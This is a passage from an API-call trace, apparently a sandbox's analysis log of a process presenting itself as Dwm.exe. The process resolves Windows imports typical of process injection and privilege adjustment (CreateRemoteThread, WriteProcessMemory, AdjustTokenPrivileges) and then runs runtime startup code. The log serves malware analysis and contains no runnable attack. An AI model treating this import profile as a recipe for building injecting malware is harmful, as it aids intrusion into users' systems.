lpProcName="HeapReAlloc") returned 0x77573f20 [0104.691] GetProcAddress (hModule=0x77320000, lpProcName="HeapAlloc") returned 0x775933a0 [0104.691] GetProcAddress (hModule=0x77320000, lpProcName="LoadLibraryA") returned 0x77337070 [0104.691] GetProcAddress (hModule=0x77320000, lpProcName="OutputDebugStringA") returned 0x77324f60 [0104.691] GetProcAddress (hModule=0x77320000, lpProcName="Thread32First") returned 0x7736aa70 [0104.691] GetProcAddress (hModule=0x77320000, lpProcName="Thread32Next") returned 0x7736a980 [0104.691] GetProcAddress (hModule=0x77320000, lpProcName="GetCurrentThread") returned 0x77333f20 [0104.691] GetProcAddress (hModule=0x77320000, lpProcName="CreateProcessW") returned 0x77341bb0 [0104.691] GetProcAddress (hModule=0x77320000, lpProcName="FreeLibrary") returned 0x77336620 [0104.691] GetProcAddress (hModule=0x77320000, lpProcName="MultiByteToWideChar") returned 0x77335b50 [0104.691] GetProcAddress (hModule=0x77320000, lpProcName="WideCharToMultiByte") returned 0x773435f0 [0104.691] GetProcAddress (hModule=0x77320000, lpProcName="CreateMutexW") returned 0x773313c0 [0104.691] GetProcAddress (hModule=0x77320000, lpProcName="ReleaseMutex") returned 0x77342b90 [0104.691] GetProcAddress (hModule=0x77320000, lpProcName="SetLastError") returned 0x77342df0 [0104.691] GetProcAddress (hModule=0x77320000, lpProcName="WaitForMultipleObjects") returned 0x77331170 [0104.691] GetProcAddress (hModule=0x77320000, lpProcName="GetLastError") returned 0x77342dd0 [0104.692] GetProcAddress (hModule=0x77320000, lpProcName="CreateThread") returned 0x77336580 [0104.692] GetProcAddress (hModule=0x77320000, lpProcName="GetComputerNameW") returned 0x7732d130 [0104.692] GetProcAddress (hModule=0x77320000, lpProcName="CreateEventW") returned 0x77335290 [0104.692] GetProcAddress (hModule=0x77320000, lpProcName="ExitThread") returned 0x77586930 [0104.692] GetProcAddress (hModule=0x77320000, lpProcName="ExitProcess") returned 0x775640f0 [0104.692] GetProcAddress (hModule=0x77320000, lpProcName="InitializeCriticalSection") returned 0x77568100 [0104.692] GetProcAddress (hModule=0x77320000, lpProcName="GetModuleFileNameW") returned 0x77337700 [0104.692] GetProcAddress (hModule=0x77320000, lpProcName="GetCurrentProcessId") returned 0x77335a50 [0104.692] GetProcAddress (hModule=0x77320000, lpProcName="AddVectoredExceptionHandler") returned 0x77623ad0 [0104.692] GetProcAddress (hModule=0x77320000, lpProcName="GetSystemDefaultLCID") returned 0x773233a0 [0104.692] GetProcAddress (hModule=0x77320000, lpProcName="GetWindowsDirectoryW") returned 0x773282b0 [0104.692] GetProcAddress (hModule=0x77320000, lpProcName="WaitForSingleObject") returned 0x77342b20 [0104.692] GetProcAddress (hModule=0x77320000, lpProcName="GetProcAddress") returned 0x77343690 [0104.692] GetProcAddress (hModule=0x77320000, lpProcName="GetModuleHandleW") returned 0x77343730 [0104.692] GetProcAddress (hModule=0x77320000, lpProcName="LoadLibraryW") returned 0x77336f80 [0104.692] GetProcAddress (hModule=0x77320000, lpProcName="VirtualProtect") returned 0x77322ef0 [0104.693] GetProcAddress (hModule=0x77320000, lpProcName="CreateRemoteThread") returned 0x7736c4f0 [0104.693] GetProcAddress (hModule=0x77320000, lpProcName="VirtualAllocEx") returned 0x7736bbd0 [0104.693] GetProcAddress (hModule=0x77320000, lpProcName="VirtualFreeEx") returned 0x7736bb90 [0104.693] GetProcAddress (hModule=0x77320000, lpProcName="DuplicateHandle") returned 0x77335d10 [0104.693] GetProcAddress (hModule=0x77320000, lpProcName="WriteProcessMemory") returned 0x7736bad0 [0104.693] GetProcAddress (hModule=0x77320000, lpProcName="OpenProcess") returned 0x7733cad0 [0104.693] GetProcAddress (hModule=0x77320000, lpProcName="Process32NextW") returned 0x773220f0 [0104.693] GetProcAddress (hModule=0x77320000, lpProcName="Process32FirstW") returned 0x77321e00 [0104.693] GetProcAddress (hModule=0x77320000, lpProcName="CreateToolhelp32Snapshot") returned 0x773221e0 [0104.693] GetProcAddress (hModule=0x77320000, lpProcName="CreateDirectoryW") returned 0x7732ad70 [0104.693] GetProcAddress (hModule=0x77320000, lpProcName="TerminateProcess") returned 0x7736bca0 [0104.693] GetProcAddress (hModule=0x77320000, lpProcName="SetEvent") returned 0x77333f00 [0104.693] GetProcAddress (hModule=0x77320000, lpProcName="DeleteFileW") returned 0x7732ad90 [0104.693] GetProcAddress (hModule=0x77320000, lpProcName="Sleep") returned 0x77342b70 [0104.693] GetProcAddress (hModule=0x77320000, lpProcName="CloseHandle") returned 0x77342f80 [0104.693] GetProcAddress (hModule=0x77320000, lpProcName="CreateFileW") returned 0x77331870 [0104.694] GetProcAddress (hModule=0x77320000, lpProcName="lstrcmpiA") returned 0x773240a0 [0104.694] GetProcAddress (hModule=0x77320000, lpProcName="lstrlenA") returned 0x7733caf0 [0104.694] GetProcAddress (hModule=0x77320000, lpProcName="WriteConsoleW") returned 0x77333d40 [0104.694] GetProcAddress (hModule=0x77320000, lpProcName="SetStdHandle") returned 0x7736bce0 [0104.694] GetProcAddress (hModule=0x77320000, lpProcName="GetConsoleMode") returned 0x77342e60 [0104.694] GetProcAddress (hModule=0x77320000, lpProcName="GetConsoleCP") returned 0x773605f0 [0104.694] GetProcAddress (hModule=0x77320000, lpProcName="LCMapStringW") returned 0x77340dd0 [0104.694] GetProcAddress (hModule=0x77320000, lpProcName="HeapSize") returned 0x775682d0 [0104.694] GetProcAddress (hModule=0x77320000, lpProcName="GetStringTypeW") returned 0x77339060 [0104.694] GetProcAddress (hModule=0x77320000, lpProcName="OutputDebugStringW") returned 0x7732b760 [0104.694] GetProcAddress (hModule=0x77320000, lpProcName="LoadLibraryExW") returned 0x77336640 [0104.694] GetProcAddress (hModule=0x77320000, lpProcName="GetCPInfo") returned 0x77336ce0 [0104.694] GetProcAddress (hModule=0x77320000, lpProcName="GetOEMCP") returned 0x7733b580 [0104.694] GetProcAddress (hModule=0x77320000, lpProcName="GetACP") returned 0x77336f90 [0104.694] GetProcAddress (hModule=0x77320000, lpProcName="IsValidCodePage") returned 0x77339080 [0104.694] GetProcAddress (hModule=0x77320000, lpProcName="LeaveCriticalSection") returned 0x77593000 [0104.695] GetProcAddress (hModule=0x77320000, lpProcName="EnterCriticalSection") returned 0x77592fc0 [0104.695] GetProcAddress (hModule=0x77320000, lpProcName="IsProcessorFeaturePresent") returned 0x7736cc80 [0104.695] GetProcAddress (hModule=0x77320000, lpProcName="IsDebuggerPresent") returned 0x77328290 [0104.695] GetProcAddress (hModule=0x77320000, lpProcName="RtlUnwindEx") returned 0x77352d90 [0104.695] GetProcAddress (hModule=0x77320000, lpProcName="TlsFree") returned 0x77331590 [0104.695] GetProcAddress (hModule=0x77320000, lpProcName="TlsSetValue") returned 0x77335cd0 [0104.695] GetProcAddress (hModule=0x77320000, lpProcName="TlsGetValue") returned 0x77342bd0 [0104.695] GetProcAddress (hModule=0x77320000, lpProcName="TlsAlloc") returned 0x77337100 [0104.695] GetProcAddress (hModule=0x77320000, lpProcName="SetUnhandledExceptionFilter") returned 0x77339b70 [0104.695] GetProcAddress (hModule=0x77320000, lpProcName="UnhandledExceptionFilter") returned 0x773b9330 [0104.695] GetProcAddress (hModule=0x77320000, lpProcName="RtlVirtualUnwind") returned 0x7736b5b0 [0104.695] GetProcAddress (hModule=0x77320000, lpProcName="RtlLookupFunctionEntry") returned 0x7736b610 [0104.695] GetProcAddress (hModule=0x77320000, lpProcName="RtlCaptureContext") returned 0x7736b6f0 [0104.695] GetProcAddress (hModule=0x77320000, lpProcName="FreeEnvironmentStringsW") returned 0x77336d20 [0104.695] GetProcAddress (hModule=0x77320000, lpProcName="GetEnvironmentStringsW") returned 0x77336d00 [0104.695] GetProcAddress (hModule=0x77320000, lpProcName="GetSystemTimeAsFileTime") returned 0x77333f40 [0104.696] GetProcAddress (hModule=0x77320000, lpProcName="QueryPerformanceCounter") returned 0x77336500 [0104.696] GetProcAddress (hModule=0x77320000, lpProcName="GetModuleFileNameA") returned 0x773364a0 [0104.696] GetProcAddress (hModule=0x77320000, lpProcName="GetStartupInfoW") returned 0x77338070 [0104.696] GetProcAddress (hModule=0x77320000, lpProcName="DeleteCriticalSection") returned 0x77565350 [0104.696] GetProcAddress (hModule=0x77320000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x773364e0 [0104.696] GetProcAddress (hModule=0x77320000, lpProcName="GetFileType") returned 0x77342e00 [0104.696] GetProcAddress (hModule=0x77320000, lpProcName="GetStdHandle") returned 0x7733d750 [0104.696] GetProcAddress (hModule=0x77320000, lpProcName="GetModuleHandleExW") returned 0x7732b780 [0104.696] GetProcAddress (hModule=0x77320000, lpProcName="RaiseException") returned 0x7732cf10 [0104.696] GetProcAddress (hModule=0x77320000, lpProcName="RtlPcToFileHeader") returned 0x77352d80 [0104.696] GetProcAddress (hModule=0x77320000, lpProcName="DecodePointer") returned 0x77569c50 [0104.696] GetProcAddress (hModule=0x77320000, lpProcName="EncodePointer") returned 0x77573bd0 [0104.696] GetProcAddress (hModule=0x77320000, lpProcName="GetCommandLineA") returned 0x77341e70 [0104.696] GetProcAddress (hModule=0x77320000, lpProcName="GetSystemInfo") returned 0x77336f70 [0104.696] GetProcAddress (hModule=0x77320000, lpProcName="VirtualQuery") returned 0x7733bd40 [0104.696] GetProcAddress (hModule=0x77320000, lpProcName="ResumeThread") returned 0x773313a0 [0104.697] GetProcAddress (hModule=0x77320000, lpProcName="SuspendThread") returned 0x77322f60 [0104.697] GetProcAddress (hModule=0x77320000, lpProcName="GetCurrentThreadId") returned 0x77333ee0 [0104.697] GetProcAddress (hModule=0x77320000, lpProcName="OpenThread") returned 0x7733c560 [0104.697] GetProcAddress (hModule=0x77320000, lpProcName="FlushInstructionCache") returned 0x773233e0 [0104.697] GetProcAddress (hModule=0x77320000, lpProcName="HeapCreate") returned 0x773370e0 [0104.697] GetProcAddress (hModule=0x77320000, lpProcName="GetCurrentProcess") returned 0x77335cf0 [0104.697] GetProcAddress (hModule=0x77320000, lpProcName="SetThreadContext") returned 0x77322f10 [0104.697] GetProcAddress (hModule=0x77320000, lpProcName="GetThreadContext") returned 0x77322f40 [0104.697] GetProcAddress (hModule=0x77320000, lpProcName="LocalFree") returned 0x773347a0 [0104.697] GetProcAddress (hModule=0x77320000, lpProcName="GetVersionExW") returned 0x7732d910 [0104.697] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x7fefdb00000 [0104.697] GetProcAddress (hModule=0x7fefdb00000, lpProcName="CryptHashData") returned 0x7fefdb0dac0 [0104.697] GetProcAddress (hModule=0x7fefdb00000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefdb089a0 [0104.697] GetProcAddress (hModule=0x7fefdb00000, lpProcName="GetSecurityDescriptorSacl") returned 0x7fefdb11e00 [0104.697] GetProcAddress (hModule=0x7fefdb00000, lpProcName="SetSecurityDescriptorSacl") returned 0x7fefdb11eb0 [0104.697] GetProcAddress (hModule=0x7fefdb00000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorW") returned 0x7fefdb12040 [0104.698] GetProcAddress (hModule=0x7fefdb00000, lpProcName="SetSecurityDescriptorDacl") returned 0x7fefdb1b5a0 [0104.698] GetProcAddress (hModule=0x7fefdb00000, lpProcName="InitializeSecurityDescriptor") returned 0x7fefdb1b504 [0104.698] GetProcAddress (hModule=0x7fefdb00000, lpProcName="RegSetValueExW") returned 0x7fefdb11ed0 [0104.698] GetProcAddress (hModule=0x7fefdb00000, lpProcName="RegQueryValueExW") returned 0x7fefdb1c2d0 [0104.698] GetProcAddress (hModule=0x7fefdb00000, lpProcName="RegOpenKeyExW") returned 0x7fefdb206f0 [0104.698] GetProcAddress (hModule=0x7fefdb00000, lpProcName="GetSidSubAuthorityCount") returned 0x7fefdb11740 [0104.698] GetProcAddress (hModule=0x7fefdb00000, lpProcName="GetSidSubAuthority") returned 0x7fefdb11754 [0104.698] GetProcAddress (hModule=0x7fefdb00000, lpProcName="AdjustTokenPrivileges") returned 0x7fefdb1b9b0 [0104.698] GetProcAddress (hModule=0x7fefdb00000, lpProcName="LookupPrivilegeValueW") returned 0x7fefdb1b9e0 [0104.698] GetProcAddress (hModule=0x7fefdb00000, lpProcName="OpenThreadToken") returned 0x7fefdb1bd84 [0104.698] GetProcAddress (hModule=0x7fefdb00000, lpProcName="GetTokenInformation") returned 0x7fefdb1bd50 [0104.698] GetProcAddress (hModule=0x7fefdb00000, lpProcName="OpenProcessToken") returned 0x7fefdb1bd70 [0104.698] GetProcAddress (hModule=0x7fefdb00000, lpProcName="RegCreateKeyExW") returned 0x7fefdb1b520 [0104.698] GetProcAddress (hModule=0x7fefdb00000, lpProcName="CryptReleaseContext") returned 0x7fefdb0dd10 [0104.698] GetProcAddress (hModule=0x7fefdb00000, lpProcName="CryptDestroyHash") returned 0x7fefdb0db00 [0104.698] GetProcAddress (hModule=0x7fefdb00000, lpProcName="CryptGetHashParam") returned 0x7fefdb0db20 [0104.699] GetProcAddress (hModule=0x7fefdb00000, lpProcName="CryptCreateHash") returned 0x7fefdb0dad4 [0104.699] GetProcAddress (hModule=0x7fefdb00000, lpProcName="GetLengthSid") returned 0x7fefdb1b580 [0104.699] GetProcAddress (hModule=0x7fefdb00000, lpProcName="CryptAcquireContextW") returned 0x7fefdb0d98c [0104.699] GetProcAddress (hModule=0x7fefdb00000, lpProcName="RegQueryValueExA") returned 0x7fefdb1c480 [0104.699] GetProcAddress (hModule=0x7fefdb00000, lpProcName="RegOpenKeyExA") returned 0x7fefdb1b5f0 [0104.699] GetProcAddress (hModule=0x7fefdb00000, lpProcName="RegCloseKey") returned 0x7fefdb20710 [0104.699] GetProcAddress (hModule=0x7fefdb00000, lpProcName="RegSetValueExA") returned 0x7fefdb11dc0 [0104.699] GetProcAddress (hModule=0x7fefdb00000, lpProcName="RegCreateKeyExA") returned 0x7fefdb11d10 [0104.699] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x7feff2b0000 [0104.701] GetProcAddress (hModule=0x7feff2b0000, lpProcName="PathRenameExtensionW") returned 0x7feff2de6c0 [0104.701] GetProcAddress (hModule=0x7feff2b0000, lpProcName="PathRemoveBackslashW") returned 0x7feff2bd014 [0104.701] GetProcAddress (hModule=0x7feff2b0000, lpProcName="PathRemoveFileSpecW") returned 0x7feff2ba43c [0104.701] GetProcAddress (hModule=0x7feff2b0000, lpProcName="PathAddBackslashW") returned 0x7feff2c3f70 [0104.701] GetProcAddress (hModule=0x7feff2b0000, lpProcName="PathAddExtensionW") returned 0x7feff2de630 [0104.701] GetProcAddress (hModule=0x7feff2b0000, lpProcName="wvnsprintfA") returned 0x7feff2e2200 [0104.701] GetProcAddress (hModule=0x7feff2b0000, lpProcName="wvnsprintfW") returned 0x7feff2e22e4 [0104.701] GetProcAddress (hModule=0x7feff2b0000, lpProcName="PathCombineW") returned 0x7feff2c3dfc [0104.701] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x7fefdfb0000 [0104.703] GetProcAddress (hModule=0x7fefdfb0000, lpProcName="SHGetFolderPathW") returned 0x7fefe033ba4 [0104.703] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x77440000 [0104.704] GetProcAddress (hModule=0x77440000, lpProcName="MessageBoxA") returned 0x774b12b8 [0104.704] GetProcAddress (hModule=0x77440000, lpProcName="CharUpperW") returned 0x7745b714 [0104.704] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x7feff7e0000 [0104.708] GetProcAddress (hModule=0x7feff7e0000, lpProcName=0x12) returned 0x7feff7e4da0 [0104.708] GetProcAddress (hModule=0x7feff7e0000, lpProcName=0x73) returned 0x7feff7e4980 [0104.708] GetProcAddress (hModule=0x7feff7e0000, lpProcName=0xf) returned 0x7feff7e1250 [0104.708] GetProcAddress (hModule=0x7feff7e0000, lpProcName=0xb) returned 0x7feff7e1350 [0104.708] GetProcAddress (hModule=0x7feff7e0000, lpProcName=0x9) returned 0x7feff7e1250 [0104.708] GetProcAddress (hModule=0x7feff7e0000, lpProcName=0x13) returned 0x7feff7e8000 [0104.708] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x7feff6b0000 [0104.713] GetProcAddress (hModule=0x7feff6b0000, lpProcName="FindFirstUrlCacheEntryW") returned 0x7feff747150 [0104.713] GetProcAddress (hModule=0x7feff6b0000, lpProcName="DeleteUrlCacheEntryW") returned 0x7feff747050 [0104.714] GetProcAddress (hModule=0x7feff6b0000, lpProcName="FindNextUrlCacheEntryW") returned 0x7feff747500 [0104.714] GetProcAddress (hModule=0x7feff6b0000, lpProcName="FindCloseUrlCache") returned 0x7feff6be600 [0104.714] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x7fefede0000 [0104.714] GetProcAddress (hModule=0x7fefede0000, lpProcName="StringFromGUID2") returned 0x7fefee03560 [0104.714] GetProcAddress (hModule=0x7fefede0000, lpProcName="CLSIDFromString") returned 0x7fefedf0680 [0104.714] GetProcAddress (hModule=0x7fefede0000, lpProcName="CoInitialize") returned 0x7fefedfa51c [0104.714] GetProcAddress (hModule=0x7fefede0000, lpProcName="CoInitializeSecurity") returned 0x7fefedf8220 [0104.714] GetProcAddress (hModule=0x7fefede0000, lpProcName="CoSetProxyBlanket") returned 0x7fefee1bf00 [0104.714] GetProcAddress (hModule=0x7fefede0000, lpProcName="CoCreateInstance") returned 0x7fefee07490 [0104.714] GetProcAddress (hModule=0x7fefede0000, lpProcName="CoUninitialize") returned 0x7fefee01314 [0104.714] GetProcAddress (hModule=0x7fefede0000, lpProcName="CoInitializeEx") returned 0x7fefee02a30 [0104.714] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x7feff5d0000 [0104.714] GetProcAddress (hModule=0x7feff5d0000, lpProcName=0x2) returned 0x7feff5d3480 [0104.714] GetProcAddress (hModule=0x7feff5d0000, lpProcName=0x6) returned 0x7feff5d1320 [0104.715] GetProcAddress (hModule=0x7feff5d0000, lpProcName=0x9) returned 0x7feff5d1180 [0104.715] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x282fae8 | out: lpSystemTimeAsFileTime=0x282fae8*(dwLowDateTime=0x34eef450, dwHighDateTime=0x1d31ac1)) [0104.715] GetCurrentThreadId () returned 0x634 [0104.715] GetCurrentProcessId () returned 0x55c [0104.715] QueryPerformanceCounter (in: lpPerformanceCount=0x282faf0 | out: lpPerformanceCount=0x282faf0*=525539595) returned 1 [0104.715] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77320000 [0104.715] GetProcAddress (hModule=0x77320000, lpProcName="FlsAlloc") returned 0x77337190 [0104.715] GetProcAddress (hModule=0x77320000, lpProcName="FlsFree") returned 0x773315b0 [0104.715] GetProcAddress (hModule=0x77320000, lpProcName="FlsGetValue") returned 0x77343520 [0104.715] GetProcAddress (hModule=0x77320000, lpProcName="FlsSetValue") returned 0x7733bd90 [0104.715] GetProcAddress (hModule=0x77320000, lpProcName="InitializeCriticalSectionEx") returned 0x773379b0 [0104.715] GetProcAddress (hModule=0x77320000, lpProcName="CreateSemaphoreExW") returned 0x7736c4c0 [0104.716] GetProcAddress (hModule=0x77320000, lpProcName="SetThreadStackGuarantee") returned 0x77328050 [0104.716] GetProcAddress (hModule=0x77320000, lpProcName="CreateThreadpoolTimer") returned 0x77328820 [0104.716] GetProcAddress (hModule=0x77320000, lpProcName="SetThreadpoolTimer") returned 0x7755b2f0 [0104.716] GetProcAddress (hModule=0x77320000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7754d8c0 [0104.716] GetProcAddress (hModule=0x77320000, lpProcName="CloseThreadpoolTimer") returned 0x7754d620 [0104.716] GetProcAddress (hModule=0x77320000, lpProcName="CreateThreadpoolWait") returned 0x7736ba80 [0104.716] GetProcAddress (hModule=0x77320000, lpProcName="SetThreadpoolWait") returned 0x7755e170 [0104.716] GetProcAddress (hModule=0x77320000, lpProcName="CloseThreadpoolWait") returned 0x7754c540 [0104.716] GetProcAddress (hModule=0x77320000, lpProcName="FlushProcessWriteBuffers") returned 0x77591f80 [0104.716] GetProcAddress (hModule=0x77320000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7760ec60 [0104.716] GetProcAddress (hModule=0x77320000, lpProcName="GetCurrentProcessorNumber") returned 0x77590040 [0104.716] GetProcAddress (hModule=0x77320000, lpProcName="GetLogicalProcessorInformation") returned 0x7736b820 [0104.716] GetProcAddress (hModule=0x77320000, lpProcName="CreateSymbolicLinkW") returned 0x77395ad0 [0104.716] GetProcAddress (hModule=0x77320000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0104.717] GetProcAddress (hModule=0x77320000, lpProcName="EnumSystemLocalesEx") returned 0x7736c3d0 [0104.717] GetProcAddress (hModule=0x77320000, lpProcName="CompareStringEx") returned 0x7736b980 [0104.717] GetProcAddress (hModule=0x77320000, lpProcName="GetDateFormatEx") returned 0x773b0920 [0104.717] GetProcAddress (hModule=0x77320000, lpProcName="GetLocaleInfoEx") returned 0x77323c10 [0104.717] GetProcAddress (hModule=0x77320000, lpProcName="GetTimeFormatEx") returned 0x773ad4e0 [0104.717] GetProcAddress (hModule=0x77320000, lpProcName="GetUserDefaultLocaleName") returned 0x7736b790 [0104.717] GetProcAddress (hModule=0x77320000, lpProcName="IsValidLocaleName") returned 0x7736b770 [0104.717] GetProcAddress (hModule=0x77320000, lpProcName="LCMapStringEx") returned 0x7736b710 [0104.717] GetProcAddress (hModule=0x77320000, lpProcName="GetCurrentPackageId") returned 0x0 [0104.717] GetCurrentThreadId () returned 0x634 [0104.717] GetCommandLineA () returned="\"C:\\Windows\\system32\\Dwm.exe\"" [0104.717] GetEnvironmentStringsW () returned 0x1f2ea0* [0104.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1318, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1318 [0104.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1318, lpMultiByteStr=0x2052f0, cbMultiByte=1318, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1318 [0104.717] FreeEnvironmentStringsW (penv=0x1f2ea0) returned 1 [0104.718] GetStartupInfoW (in: lpStartupInfo=0x282f9e0 | out: lpStartupInfo=0x282f9e0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\Dwm.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x1f2ea0, hStdError=0x2052f0)) [0104.718] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0104.718] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0104.718] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0104.718] GetLastError () returned 0x7f [0104.718] SetLastError (dwErrCode=0x7f) [0104.718] GetLastError () returned 0x7f [0104.718] SetLastError (dwErrCode=0x7f) [0104.718] GetLastError () returned 0x7f [0104.718] SetLastError (dwErrCode=0x7f) [0104.718] GetACP () returned 0x4e4 [0104.718] GetLastError () returned 0x7f [0104.718] SetLastError (dwErrCode=0x7f) [0104.718] IsValidCodePage (CodePage=0x4e4) returned 1 [0104.718] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x282f970 | out: lpCPInfo=0x282f970) returned 1 [0104.718] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x282f410 | out: lpCPInfo=0x282f410) returned 1 [0104.718] GetLastError () returned 0x7f [0104.718] SetLastError (dwErrCode=0x7f) [0104.718] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x282f430, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0104.718] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x282f430, cbMultiByte=256, lpWideCharStr=0x282f110, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ⮽ϊ") returned 256 [0104.718] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ⮽ϊ", cchSrc=256, lpCharType=0x282f730 | out: lpCharType=0x282f730) returned 1 [0104.718] GetLastError () returned 0x7f [0104.718] SetLastError (dwErrCode=0x7f) [0104.718] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x282f430, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0104.718] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x282f430, cbMultiByte=256, lpWideCharStr=0x282f100, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0104.718] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0104.718] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x282eef0, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" 